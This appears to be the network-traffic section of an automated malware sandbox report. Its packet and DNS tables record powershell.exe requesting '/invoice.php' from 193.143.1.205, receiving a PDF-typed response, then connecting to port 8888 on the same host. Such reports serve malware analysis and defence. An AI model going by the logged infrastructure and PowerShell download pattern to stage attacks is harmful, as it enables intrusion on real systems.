Jan 10, 2025 23:51:48.451608896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451617002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451627970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451633930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451633930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451633930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451639891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451651096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451662064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451673031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.451769114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451769114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.451769114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481646061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481659889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481678963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481688976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481700897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481739044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481750965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481762886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481781960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481781960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481807947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481820107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481831074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481842995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481853962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481865883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.481913090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481914043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481914043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.481914043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.492928982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.492944002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.492964983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.492976904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.492989063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.493000984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.493014097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.493350983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.493350983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.493351936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.497792959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497821093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497829914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497867107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497879982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497890949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497927904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.497927904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.497945070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497956038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497967005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497981071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.497989893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.498001099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.498013973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.498038054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.498038054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.498038054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.498038054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.498053074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.498064995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.498076916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.500885963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.500885963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536051035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536072016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536084890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536096096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536108017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536119938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536119938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536132097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536143064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536267042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536267042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536820889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536832094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536849976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536861897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536875963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536891937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536905050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.536905050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536905050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.536930084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537404060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537414074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537431002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537441969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537451029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537451029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537451029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537453890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537523031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537534952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537545919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537559032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537570953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537580967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537600040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537616968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537619114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537620068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537620068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537620068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537628889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537641048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537652969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537663937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537738085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537750959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537763119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537790060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537790060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537790060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537790060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537827969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537838936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537849903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537862062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.537909031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537909985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.537909985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538167000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538217068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538299084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538310051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538321972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538338900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538353920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538364887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538376093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538408041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538408041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538408041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538408041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538460016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538470984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538482904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538494110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538505077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538516045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538530111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538548946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538562059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538570881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538570881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538570881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538570881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538578033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538595915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538606882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538619995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538636923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538650036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538655043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538655043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538655043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538660049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538678885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538691044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538702965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538714886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538734913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538747072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538784027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538784981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538784981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538784981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538784981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538795948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538817883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538830042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538841009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538923979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538934946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538938046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538938046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538938046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.538947105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538958073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.538969040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539033890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539045095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539057016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539067030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539073944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539074898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539074898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539084911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539097071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539110899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539122105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539133072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539156914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539196968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.539232016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539232016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539232016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539232016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.539232016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.569238901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569261074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569278955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569291115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569303036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569314003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569324970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569324970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.569336891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569356918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569367886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569389105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569399118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569410086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569411039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.569411039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.569422960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569434881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569448948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.569488049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.569488049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585326910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585339069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585351944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585370064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585381985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585397005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585402966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585408926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585532904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585542917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585553885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585565090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585581064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585592031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585592031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585601091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585613012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585625887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.585895061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585895061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.585895061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.635322094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.852547884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.852618933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.306371927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.310832977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.379173994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.379302979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382097006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382155895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382208109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382242918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382265091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382277966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382297039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382313013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382348061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382380962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382412910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382415056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382426977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382447004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382481098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382498980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382514000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382553101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382581949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:49.382735014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.382735014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.573920012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.585891962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:49.718429089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:50.148309946 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:50.153215885 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:50.153350115 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:50.154483080 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:50.159322977 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:50.973426104 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:51.025443077 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:51.805962086 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:52:26.690397978 CET	61226	53	192.168.2.8	162.159.36.2
Jan 10, 2025 23:52:26.695210934 CET	53	61226	162.159.36.2	192.168.2.8
Jan 10, 2025 23:52:26.695285082 CET	61226	53	192.168.2.8	162.159.36.2
Jan 10, 2025 23:52:26.700175047 CET	53	61226	162.159.36.2	192.168.2.8
Jan 10, 2025 23:52:27.142424107 CET	61226	53	192.168.2.8	162.159.36.2
Jan 10, 2025 23:52:27.147964001 CET	53	61226	162.159.36.2	192.168.2.8
Jan 10, 2025 23:52:27.148044109 CET	61226	53	192.168.2.8	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:51:58.248512030 CET	58410	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:52:26.689827919 CET	53	59556	162.159.36.2	192.168.2.8
Jan 10, 2025 23:52:27.166374922 CET	53	59205	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:51:58.248512030 CET	192.168.2.8	1.1.1.1	0xb134	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:51:58.255937099 CET	1.1.1.1	192.168.2.8	0xb134	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:51:58.960999012 CET	1.1.1.1	192.168.2.8	0xf170	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:51:58.960999012 CET	1.1.1.1	192.168.2.8	0xf170	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7612	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:51:47.075803995 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:51:47.863960028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:51:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 